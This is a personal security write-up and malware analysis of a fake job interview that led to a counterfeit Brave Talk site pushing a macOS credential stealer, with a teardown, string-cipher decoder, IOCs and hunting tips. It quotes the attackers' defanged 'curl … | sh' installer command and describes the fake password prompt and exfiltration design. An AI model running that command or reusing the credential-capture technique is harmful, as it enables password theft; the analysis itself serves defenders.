Field note · 4 November 2026 · Security · 9 min read
The job interview that tried to install malware on my Mac
A recruiter booked me for a product role. The meeting link was malware. Days earlier, a similar fake interview led to the 6.3 billion dollar Binance theft.
I am a product leader, and like a lot of people right now, I am interviewing. So when a recruiter using the name Saifuro messaged me about a Product Manager (Web3) role, it looked like any other Tuesday. I cannot say whether the company itself is involved.
Real-looking website. Twenty-two open jobs. A Calendly invite, a confirmation email, a polite reminder. I prepped. I had the call in my calendar.
Fifteen minutes before it, the reminder sent me the link to join. It went to talkbrave[.]org, a near-perfect copy of Brave's real talk.brave.com. I only caught it because, while researching the company before the call, I had come across a warning from Zhanna Manzyk about this exact scam. Prep pays off.
I did not join on my laptop. I copied the files onto an isolated, firewalled VM and took them apart with Ghidra and radare2. Here is everything that was waiting for me.

The one screen that does the damage
This is not a real Mac prompt. The malware drew the window itself. It only has to look convincing, and it does.
You type your real Mac password, the one that unlocks everything: your logins, your files, your accounts.
When you click OK, it is built to save the password to a hidden file and transmit it. That one click is the whole attack.
How you get to that screen
A recruiter
A real-looking company invites you to interview through a normal calendar link.
A meeting link
It opens talkbrave[.]org, a fake copy of a real video-call site.
"Allow camera"
It secretly photographs you through the webcam, before anything installs.
"Install the app"
A fake error says you need a "desktop app" to join. That app is the spyware.
If a fake password box sounds too small to matter, here is how big it gets.
Same playbook, days earlier: the $6.3B Binance hack
Binance's own initial report reads almost like my week. In September a crew the FBI attributes to North Korea posed as a recruiter, ran one of their engineers through rounds of interviews with a fake company, then asked them to download an "assignment". It was malware. That foothold, together with a tampered developer tool and an abused internal AI system, got the attackers to the withdrawal pipeline and, on 29 October, moved 6.3 billion dollars. Press reports say most of it was moved in about twenty minutes. The FBI calls the crew TraderTraitor. Chainalysis calls the method by its name: the Contagious Interview. It resembles the email I almost opened.
Sources: Chainalysis, The Verge, The Register, AP.
What it does with your password
It is built to disguise your password until it reads as empty text, then send it over a connection built to trust any server, even a fake one. Your Mac normally refuses to send data to a site it cannot verify. This skips that check, so the theft travels like ordinary, trusted traffic and nothing looks wrong.
How it hides once it is in
Uses a disguise
A config name suggests it can disguise its process, but I could not decode the disguise string.
Lives out of sight
It is built to tuck the captured data into a hidden folder you would never think to open.
Hides its strings
It obscures operational strings until runtime, making them harder to inspect.
For engineers and developers
The forensic teardown
Everything above is the plain-English version. This is what the binary actually does, recovered statically on an outbound-firewalled Linux VM with Ghidra 11.3 headless, radare2 5.5 and llvm-objdump. Nothing was executed. Domains are defanged.
Verdict first: I assess roughly 80% confidence that this matches the North Korea-linked "Contagious Interview" pattern (Famous Chollima, BlueNoroff, Jade Sleet). The fake recruiter, the fake meeting app, the dual DMG and curl | sh delivery, the fake password prompt and the webcam grab are all textbook DPRK macOS tradecraft. The honest counter-signal: the web JavaScript carries Russian-language developer comments, which could be reused commodity code or a false flag.
The kill chain, as observed
- The Calendly reminder links to
talkbrave[.]org/meet/<id>?p=<code>, a counterfeit Brave Talk prejoin page. - The page asks for camera and mic, silently draws one webcam frame to a canvas and POSTs the JPEG to
/evidence/<code>. You are photographed before anything installs. - A fake "Brave Talk Premium needs the desktop app" error calls
/teams/retreive/<code>/, which returns a one-time link tomacos.talkbrave[.]org/?dlid=<uuid>. Anyone outside the victim session gets a 404, which may conceal it from scanners. - Two delivery paths:
BraveTalk.dmgfromm.fallproject[.]com, or a one-liner,curl https://macos.talkbrave[.]org/apple/macos/install/interactive/bash | sh. install.shpulls/unix/<uuid>withcurl -fsSLk(the-kswitches off certificate checks), untars it, marks it executable andexecs a universal arm64 and x86_64 Mach-O calledinstaller, behind a fake ten-step progress bar.
Reversing the string cipher
Every operational string is hidden at compile time and revealed at runtime by cloudsync_impl::sobf::reveal(). It is not base64 and not ChaCha. It is a custom XOR keyed by a 32-byte table K stored in the binary, where each string carries its own one-byte seed:
K = bytes.fromhex(
"d719bf57e65ba09de1bacdb182c99118"
"edafd518fd3a4a9797bcad221adb8151")
def reveal(cipher: bytes, seed: int) -> bytes:
return bytes(
c ^ ((seed * 0x83 + i * 0x11) & 0xFF) ^ K[seed & 31] ^ K[i & 31]
for i, c in enumerate(cipher)
)
Recovered offline: .config (seed 191) and data.json (seed 211). The code stages data at roughly ~/.config/<disguised>/data.json before attempting to send it.
The useful part for anyone doing this at home: once you have K and the routine, the rest of the global _ct_APP_* blobs (install dir, process-disguise name, lock names, temp swap and spawn prefixes, the .sh suffix) fall to the same function, because their lengths are known. The ChaCha20 key and IV (APP_CHACHA_KEY, APP_OPS_CHACHA_IV) are a separate layer that encrypts the exfil body.
The password grab, from the decompiler
An Objective-C AuthDialog with an NSSecureTextField draws the fake system prompt. Clicking OK runs a short, very readable chain:
save_local_password()
-> get_app_config_dir()
-> create_directories()
-> create_auth_json() // base64(input) + generate_filler() padding
// + zwc zero-width wrap + magic::encode
-> std::ofstream write
-> chmod 0644
The code is built to write the password to disk in an envelope that looks like random text, then send it out. Zero-width characters mean that even a human opening the file sees almost nothing.
A network client that trusts anyone
cs_url_session_configuration sets setHTTPCookieStorage:nil and setHTTPShouldSetCookies:NO, so every beacon is stateless. Its delegate, CSURLInsecureDelegate, answers every TLS challenge through cs_accept_server_trust by accepting the server's certificate unconditionally. Combined with curl -k in the installer, the operators can run a self-signed C2 and swap infrastructure freely. One upside for defenders: a TLS-inspecting proxy sees the host and request shape with no extra trust setup, although the body is still ChaCha20 ciphertext.
Evasion and persistence
- Disguise: the config defines
APP_PROCESS_DISGUISE_NAME, but I could not decode its value. - Persistence: config names
APP_INSTALL_DIRandAPP_DAEMON_NAMEsuggest a launch agent or daemon for persistence across reboots. - One copy only:
installer_lockanddaemon_flock_heldkeep a single instance running. - Padding:
generate_filler()has its own RNG and pads theauth.jsonenvelope with junk. - Gating:
embedded_gate_datais an embedded blob that looks like an environment check before the payload commits. - Build: macOS SDK 14.0, minimum macOS 13.0, universal arm64 and x86_64, ad-hoc signed. The arm64 slice UUID is
D8889234-7422-3CA7-9A1F-759F99E597E9.
What I could not crack (yet)
The live C2 host. The network URL is built in runWorkflow from inline CTEnc<N>::str() objects (68, 44, 35, 35, 34, 15, 14 and 10 bytes) that use a different per-object key and do not fall to the global XOR. The second binary, cshelper inside BraveTalk.app, sits behind HFS+ compression that defeated 7z and hpmount, so it needs a real hdiutil or apfs-fuse mount. If you get further, open an issue on the repository below. Recovering that host is what would turn an 80% assessment into attribution.
MITRE ATT&CK mapping
| Technique | ID | Evidence |
|---|---|---|
| Spearphishing via Service | T1566.003 | Fake recruiter and Calendly interview |
| User Execution | T1204.002 | DMG and curl | sh one-liner |
| GUI Input Capture | T1056.002 | AuthDialog fake password prompt |
| Video Capture | T1125 | Webcam JPEG to /evidence/<code> |
| Obfuscated Files or Information | T1027 | sobf::reveal, ChaCha20 config, zero-width encoding |
| Masquerading | T1036.005 | "Brave Talk" impersonation |
| Subvert Trust Controls | T1553 | CSURLInsecureDelegate, curl -k |
| Create or Modify System Process (inferred) | T1543 | Config names APP_DAEMON_NAME and APP_INSTALL_DIR suggest a launch agent or daemon |
| Exfiltration Over C2 Channel | T1041 | APP_OPS_URL over the insecure session (inferred) |
Indicators of compromise and associated context
| Lure | talkbrave[.]org, macos.talkbrave[.]org |
|---|---|
| Payload CDN | fallproject[.]com, m.fallproject[.]com |
| Name used by recruiter (context only) | saifuro[.]com, docs.saifuro[.]com, verdicts.saifuro[.]com |
| Fronting | Cloudflare 188.114.96[.]6, 188.114.97[.]6 |
| URL paths | /meet/<id>?p=, /teams/retreive/<code>/, /evidence/<code>, /unix/<uuid>, /apple/macos/install/interactive/bash |
| File | SHA-256 |
|---|---|
| installer (2nd stage) | 782f21b0ce945931bab8b1d84dc57d542a510ec66b80f9034fefd04dcd53572b |
| BraveTalk.dmg | 8380cf9369598e292bb8403460f183fd038cb25288f57eccc42c4fc8e6f4399c |
| package.tar.gz | 8ad8a7388f19028846f89faa3c9f205a3eb39b5095f6cb8cb44a9b9b1f2eea66 |
| install.sh | 6203255053fad3014a6dc8afcff811b309c4fdf3fd223fc2da80531915a5ce65 |
How to hunt for it
- A recently created
~/.config/*/data.jsonfull of what looks like empty or garbled text. - A new plist in
~/Library/LaunchAgentspointing at an unfamiliar binary, if present. Persistence is inferred; I did not observe a plist. curl -fsSLk … | shin shell history, or DNS lookups for the domains above.- Match on behaviour and on the cipher table
K. The YARA rule in the repository does exactly that.
The full decoder, the decompiled routines, the YARA rule and the complete IOC list are in the open teardown repository on GitHub. No live binary is published.

The one tell: how to spot a fake job interview
A real interview never asks you to install a meeting app from a link, run a Terminal command, or type your computer password into a popup. The moment it does, the interview is the attack.
The reversed string cipher and a working decoder, the decompiled routines, the indicators and a YARA rule. No live binary. github.com/Alish3r/contagious-interview-macos-teardown
I never joined that call. The next person might. If you are job-hunting, especially in crypto, fintech or payments, assume this is aimed at you, and send it to someone who needs it. And do your homework on every company before the call. It is the cheapest security you have, and it is the only reason I am writing this instead of wiping a laptop. The scams now wear a suit and book a Calendly.